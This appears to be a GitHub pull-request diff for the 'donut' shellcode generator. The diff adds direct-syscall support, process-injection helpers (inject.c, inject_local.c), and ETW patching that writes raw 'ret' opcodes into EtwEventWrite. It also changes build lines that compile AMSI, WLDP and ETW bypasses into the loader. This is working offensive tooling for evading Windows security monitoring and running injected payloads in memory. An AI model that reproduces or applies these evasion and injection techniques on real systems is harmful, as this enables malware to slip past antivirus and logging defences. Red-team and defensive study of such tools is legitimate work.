Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -10,4 +10,4 @@ hash:
encrypt:
gcc -Wall -Wno-format -fpack-struct=8 -DTEST -I include encrypt.c loader/clib.c -oencrypt
clean:
rm -f loader.exe exe2h.exe exe2h loader32.exe loader64.exe donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so
rm -f loader.exe exe2h.exe exe2h loader32.exe loader64.exe donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so inject32.exe inject64.exe inject_local32.exe inject_local64.exe
19 changes: 13 additions & 6 deletions Makefile.mingw
Original file line number Diff line number Diff line change
Expand Up @@ -6,17 +6,24 @@ donut: clean
gcc -I include loader/exe2h/exe2h.c -oexe2h
$(CC64) -I include loader/exe2h/exe2h.c loader/exe2h/mmap-windows.c -lshlwapi -oexe2h.exe

$(CC32) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
$(CC32) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c loader/syscalls.c -masm=intel hash.c encrypt.c -I include -oloader.exe
./exe2h loader.exe

$(CC64) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c hash.c encrypt.c -I include -oloader.exe
$(CC64) -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -fno-toplevel-reorder -fpack-struct=8 -fPIC -O0 -nostdlib loader/loader.c loader/depack.c loader/clib.c loader/syscalls.c -masm=intel hash.c encrypt.c -I include -oloader.exe
./exe2h loader.exe

$(CC64) -Wall -fpack-struct=8 -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe

$(CC64) -Wall loader/inject.c -oinject32.exe
$(CC32) -Wall loader/inject.c -oinject64.exe
debug: clean
$(info ###### DEBUG ######)
$(CC32) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader32.exe -lole32 -lshlwapi
$(CC64) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c -oloader64.exe -lole32 -lshlwapi
$(CC64) -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c lib/aplib64.lib -odonut.exe
$(CC32) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c loader/syscalls.c -masm=intel -oloader32.exe -lole32 -lshlwapi
$(CC64) -DCLIB -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Wno-format -fpack-struct=8 -DDEBUG -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c loader/syscalls.c -masm=intel -oloader64.exe -lole32 -lshlwapi
$(CC64) -Wall -Wno-format -fpack-struct=8 -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader/clib.c loader/syscalls.c -masm=intel lib/aplib64.lib -odonut.exe
$(CC32) -Wall loader/inject_local.c -oinject_local32.exe
$(CC64) -Wall loader/inject_local.c -oinject_local64.exe
$(CC64) -Wall loader/inject.c -oinject32.exe
$(CC32) -Wall loader/inject.c -oinject64.exe
clean:
rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe
rm -f exe2h exe2h.exe loader.bin instance donut.o hash.o encrypt.o format.o clib.o syscalls.o hash encrypt donut hash.exe encrypt.exe donut.exe lib/libdonut.a lib/libdonut.so loader.exe loader32.exe loader64.exe inject32.exe inject64.exe
15 changes: 9 additions & 6 deletions Makefile.msvc
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
donut: clean
@echo ###### Building exe2h ######
ML64 /c loader/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64

cl /nologo loader\exe2h\exe2h.c loader\exe2h\mmap-windows.c

@echo ###### Building loader ######
cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj
cl -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -O1 -GR- -EHa -Oi -GS- -I include loader\loader.c hash.c encrypt.c loader\depack.c loader\clib.c loader/syscalls.c
link -nologo -order:@loader\order.txt -entry:DonutLoader -fixed -subsystem:console -nodefaultlib loader.obj hash.obj encrypt.obj depack.obj clib.obj syscalls.obj syscalls-asm.obj
exe2h loader.exe

@echo ###### Building generator ######
Expand All @@ -15,9 +17,10 @@ donut: clean
move donut.exp lib\donut.exp
move donut.dll lib\donut.dll
debug: clean
cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj

ML64 /c loader/syscalls-asm.asm /link /NODEFAULTLIB /RELEASE /MACHINE:X64
cl /nologo -DDEBUG -DBYPASS_AMSI_B -DBYPASS_WLDP_A -DBYPASS_ETW_B -Zp8 -c -nologo -Gy -Os -EHa -GS- -I include loader/loader.c hash.c encrypt.c loader/depack.c loader/clib.c loader/syscalls.c
link -nologo -order:@loader\order.txt -subsystem:console loader.obj hash.obj encrypt.obj depack.obj clib.obj syscalls.obj syscalls-asm.obj

cl -Zp8 -nologo -DDEBUG -DDONUT_EXE -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
cl -Zp8 -nologo -DDEBUG -DDLL -LD -I include donut.c hash.c encrypt.c format.c loader\clib.c lib\aplib64.lib
move donut.lib lib\donut.lib
Expand All @@ -28,4 +31,4 @@ hash:
encrypt:
cl -Zp8 -nologo -DTEST -I include encrypt.c
clean:
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj depack.obj format.obj clib.obj hash.exe encrypt.exe donut.exe lib\libdonut.lib lib\libdonut.dll
@del /Q mmap-windows.obj donut.obj hash.obj encrypt.obj depack.obj format.obj clib.obj exe2h.obj exe2h.exe loader.obj loader.exe hash.exe encrypt.exe donut.exe lib\libdonut.lib lib\libdonut.dll syscalls.obj syscalls-asm.obj inject32.exe inject64.exe
30 changes: 9 additions & 21 deletions donut.c
Original file line number Diff line number Diff line change
Expand Up @@ -49,12 +49,9 @@ static API_IMPORT api_imports[] = {
{KERNEL32_DLL, "GetModuleHandleA"},
{KERNEL32_DLL, "VirtualAlloc"},
{KERNEL32_DLL, "VirtualFree"},
{KERNEL32_DLL, "VirtualQuery"},
{KERNEL32_DLL, "VirtualProtect"},
{KERNEL32_DLL, "Sleep"},
{KERNEL32_DLL, "MultiByteToWideChar"},
{KERNEL32_DLL, "GetUserDefaultLCID"},
{KERNEL32_DLL, "WaitForSingleObject"},
{KERNEL32_DLL, "CreateThread"},
{KERNEL32_DLL, "CreateFileA"},
{KERNEL32_DLL, "GetThreadContext"},
Expand All @@ -67,7 +64,6 @@ static API_IMPORT api_imports[] = {
{KERNEL32_DLL, "GetProcessHeap"},
{KERNEL32_DLL, "HeapFree"},
{KERNEL32_DLL, "GetLastError"},
{KERNEL32_DLL, "CloseHandle"},

{SHELL32_DLL, "CommandLineToArgvW"},

Expand Down Expand Up @@ -109,13 +105,8 @@ static API_IMPORT api_imports[] = {
{NTDLL_DLL, "RtlGetCompressionWorkSpaceSize"},
{NTDLL_DLL, "RtlDecompressBuffer"},
{NTDLL_DLL, "NtContinue"},
{NTDLL_DLL, "NtCreateSection"},
{NTDLL_DLL, "NtMapViewOfSection"},
{NTDLL_DLL, "NtUnmapViewOfSection"},
{KERNEL32_DLL, "AddVectoredExceptionHandler"},
{KERNEL32_DLL, "RemoveVectoredExceptionHandler"},
//{NTDLL_DLL, "RtlFreeUnicodeString"},
//{NTDLL_DLL, "RtlFreeString"},

{ NULL, NULL } // last one always contains two NULL pointers
};
Expand Down Expand Up @@ -583,14 +574,6 @@ static int read_file_info(PDONUT_CONFIG c) {
}
}
}
} else {
// we need relocation information for unmanaged EXE / DLL
rva = dir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
if(rva == 0) {
DPRINT("EXE/DLL has no relocation information.");
err = DONUT_ERROR_NORELOC;
goto cleanup;
}
}
}
// assign length of file and type to configuration
Expand Down Expand Up @@ -987,6 +970,8 @@ static int build_instance(PDONUT_CONFIG c) {
strcpy(inst->ntdll, "ntdll");
strcpy(inst->etwEventWrite, "EtwEventWrite");
strcpy(inst->etwEventUnregister, "EtwEventUnregister");
strcpy(inst->etwRet64, "\xc3");
strcpy(inst->etwRet32, "\xc2\x14\x00\x00");
}

// if module is an unmanaged EXE
Expand All @@ -1008,7 +993,13 @@ static int build_instance(PDONUT_CONFIG c) {
}

// decoy module path
strcpy(inst->decoy, c->decoy);
if (c->decoy[0] != 0)
{
wcscpy((wchar_t*)inst->decoy, L"\\??\\");
wchar_t wcFileName[MAX_PATH];
mbstowcs(wcFileName, c->decoy, MAX_PATH);
wcsncat((wchar_t*)inst->decoy, wcFileName, MAX_PATH);
}

// if the module will be downloaded
// set the URL parameter and request verb
Expand Down Expand Up @@ -1714,9 +1705,6 @@ const char *DonutError(int err) {
case DONUT_ERROR_HEADERS_INVALID:
str = "Invalid PE headers preservation option.";
break;
case DONUT_ERROR_NORELOC:
str = "This file has no relocation information required for in-memory execution.";
break;
case DONUT_ERROR_INVALID_FORMAT:
str = "The output format is invalid.";
break;
Expand Down
7 changes: 4 additions & 3 deletions donutmodule.c
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,7 @@
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/

#define PY_SSIZE_T_CLEAN
#include <Python.h>
#include "donut.h"

Expand Down Expand Up @@ -86,7 +87,7 @@ static PyObject *Donut_Create(PyObject *self, PyObject *args, PyObject *keywds)
c.inst_type = DONUT_INSTANCE_EMBED; // file is embedded
c.arch = DONUT_ARCH_X84; // dual-mode (x86+amd64)
c.bypass = DONUT_BYPASS_CONTINUE; // continues loading even if disabling AMSI/WLDP fails
c.headers = DONUT_HEADERS_OVERWRITE;// overwrite PE header
c.headers = DONUT_HEADERS_OVERWRITE;// overwrite PE header
c.format = DONUT_FORMAT_BINARY; // default output format
c.compress = DONUT_COMPRESS_NONE; // compression is disabled by default
c.entropy = DONUT_ENTROPY_DEFAULT; // enable random names + symmetric encryption by default
Expand Down Expand Up @@ -140,7 +141,7 @@ static PyObject *Donut_Create(PyObject *self, PyObject *args, PyObject *keywds)
}
// parameters to method, DLL function or command line for unmanaged EXE
if(params != NULL) {
strncpy(c.param, params, DONUT_MAX_NAME - 1);
strncpy(c.args, params, DONUT_MAX_NAME - 1);
}
// path of decoy file
if(decoy != NULL) {
Expand Down Expand Up @@ -178,7 +179,7 @@ static PyObject *Donut_Create(PyObject *self, PyObject *args, PyObject *keywds)

int err = DonutCreate(&c);

if(err != DONUT_ERROR_SUCCESS) {
if(err != 0) {
PyErr_SetString(PyExc_RuntimeError, DonutError(err));
DonutDelete(&c);
return NULL;
Expand Down
46 changes: 23 additions & 23 deletions include/donut.h
Original file line number Diff line number Diff line change
Expand Up @@ -46,6 +46,7 @@
#include <inttypes.h>
#include <fcntl.h>
#include <limits.h>
#include <wchar.h>

#if defined(_WIN32) || defined(_WIN64)
#define WINDOWS
Expand Down Expand Up @@ -85,6 +86,10 @@
#include "format.h" // output format for loader
#include "aplib.h" // aPLib compression for both windows + linux

#ifndef MAX_PATH
#define MAX_PATH 260
#endif

#if !defined(WINDOWS)
#define strnicmp(x,y,z) strncasecmp(x,y,z)
typedef uint64_t ULONG64, *PULONG64;
Expand Down Expand Up @@ -122,14 +127,13 @@ typedef struct _GUID {
#define DONUT_ERROR_ARCH_MISMATCH 13
#define DONUT_ERROR_DLL_PARAM 14
#define DONUT_ERROR_BYPASS_INVALID 15
#define DONUT_ERROR_NORELOC 16
#define DONUT_ERROR_INVALID_FORMAT 17
#define DONUT_ERROR_INVALID_ENGINE 18
#define DONUT_ERROR_COMPRESSION 19
#define DONUT_ERROR_INVALID_ENTROPY 20
#define DONUT_ERROR_MIXED_ASSEMBLY 21
#define DONUT_ERROR_HEADERS_INVALID 22
#define DONUT_ERROR_DECOY_INVALID 23
#define DONUT_ERROR_INVALID_FORMAT 16
#define DONUT_ERROR_INVALID_ENGINE 17
#define DONUT_ERROR_COMPRESSION 18
#define DONUT_ERROR_INVALID_ENTROPY 19
#define DONUT_ERROR_MIXED_ASSEMBLY 20
#define DONUT_ERROR_HEADERS_INVALID 21
#define DONUT_ERROR_DECOY_INVALID 22

// target architecture
#define DONUT_ARCH_ANY -1 // for vbs and js files
Expand Down Expand Up @@ -271,8 +275,8 @@ typedef struct _DONUT_INSTANCE {
uint64_t iv; // the 64-bit initial value for maru hash

union {
uint64_t hash[64]; // holds up to 64 api hashes
void *addr[64]; // holds up to 64 api addresses
uint64_t hash[57]; // holds up to 57 api hashes
void *addr[57]; // holds up to 57 api addresses
// include prototypes only if header included from loader.h
#ifdef LOADER_H
struct {
Expand All @@ -282,12 +286,9 @@ typedef struct _DONUT_INSTANCE {
GetModuleHandleA_t GetModuleHandleA;
VirtualAlloc_t VirtualAlloc;
VirtualFree_t VirtualFree;
VirtualQuery_t VirtualQuery;
VirtualProtect_t VirtualProtect;
Sleep_t Sleep;
MultiByteToWideChar_t MultiByteToWideChar;
GetUserDefaultLCID_t GetUserDefaultLCID;
WaitForSingleObject_t WaitForSingleObject;
CreateThread_t CreateThread;
CreateFileA_t CreateFileA;
GetThreadContext_t GetThreadContext;
Expand All @@ -300,7 +301,6 @@ typedef struct _DONUT_INSTANCE {
GetProcessHeap_t GetProcessHeap;
HeapFree_t HeapFree;
GetLastError_t GetLastError;
CloseHandle_t CloseHandle;

// imports from shell32.dll
CommandLineToArgvW_t CommandLineToArgvW;
Expand Down Expand Up @@ -348,16 +348,14 @@ typedef struct _DONUT_INSTANCE {
RtlGetCompressionWorkSpaceSize_t RtlGetCompressionWorkSpaceSize;
RtlDecompressBuffer_t RtlDecompressBuffer;
NtContinue_t NtContinue;
NtCreateSection_t NtCreateSection;
NtMapViewOfSection_t NtMapViewOfSection;
NtUnmapViewOfSection_t NtUnmapViewOfSection;
AddVectoredExceptionHandler_t AddVectoredExceptionHandler;
RemoveVectoredExceptionHandler_t RemoveVectoredExceptionHandler;
// RtlFreeUnicodeString_t RtlFreeUnicodeString;
// RtlFreeString_t RtlFreeString;
};
#endif
} api;

// pointer to syscall table for syswhispers2
uint64_t syscall_list;

int exit_opt; // 1 to call RtlExitUserProcess and terminate the host process
int entropy; // indicates entropy level
Expand Down Expand Up @@ -386,11 +384,13 @@ typedef struct _DONUT_INSTANCE {
char amsiScanStr[16]; // AmsiScanString
char etwEventWrite[16]; // EtwEventWrite
char etwEventUnregister[20]; // EtwEventUnregister
char etwRet64[1]; // "ret" instruction for Etw
char etwRet32[4]; // "ret 14h" instruction for Etw

char wscript[8]; // WScript
char wscript_exe[12]; // wscript.exe
char wscript_exe[14]; // wscript.exe

char decoy[MAX_PATH * 2]; // path of decoy module
char decoy[MAX_PATH * 2]; // path of decoy module

GUID xIID_IUnknown;
GUID xIID_IDispatch;
Expand Down Expand Up @@ -454,11 +454,11 @@ typedef struct _DONUT_CONFIG {
char method[DONUT_MAX_NAME]; // name of method or DLL function to invoke for .NET DLL and unmanaged DLL

// command line for DLL/EXE
char args[DONUT_MAX_NAME]; // command line to use for unmanaged DLL/EXE and .NET DLL/EXE
char args[DONUT_MAX_NAME]; // command line to use for unmanaged DLL/EXE and .NET DLL/EXE
int unicode; // param is passed to DLL function without converting to unicode

// module overloading stuff
char decoy[2056]; // path of decoy module
char decoy[2056]; // path of decoy module

// HTTP/DNS staging information
char server[DONUT_MAX_NAME]; // points to root path of where module will be stored on remote HTTP server or DNS server
Expand Down
15 changes: 7 additions & 8 deletions lib/donut.h
Original file line number Diff line number Diff line change
Expand Up @@ -64,14 +64,13 @@
#define DONUT_ERROR_ARCH_MISMATCH 13
#define DONUT_ERROR_DLL_PARAM 14
#define DONUT_ERROR_BYPASS_INVALID 15
#define DONUT_ERROR_NORELOC 16
#define DONUT_ERROR_INVALID_ENCODING 17
#define DONUT_ERROR_INVALID_ENGINE 18
#define DONUT_ERROR_COMPRESSION 19
#define DONUT_ERROR_INVALID_ENTROPY 20
#define DONUT_ERROR_MIXED_ASSEMBLY 21
#define DONUT_ERROR_HEADERS_INVALID 22
#define DONUT_ERROR_DECOY_INVALID 23
#define DONUT_ERROR_INVALID_ENCODING 16
#define DONUT_ERROR_INVALID_ENGINE 17
#define DONUT_ERROR_COMPRESSION 18
#define DONUT_ERROR_INVALID_ENTROPY 19
#define DONUT_ERROR_MIXED_ASSEMBLY 20
#define DONUT_ERROR_HEADERS_INVALID 21
#define DONUT_ERROR_DECOY_INVALID 22

// target architecture
#define DONUT_ARCH_ANY -1 // just for vbs,js and xsl files
Expand Down
Loading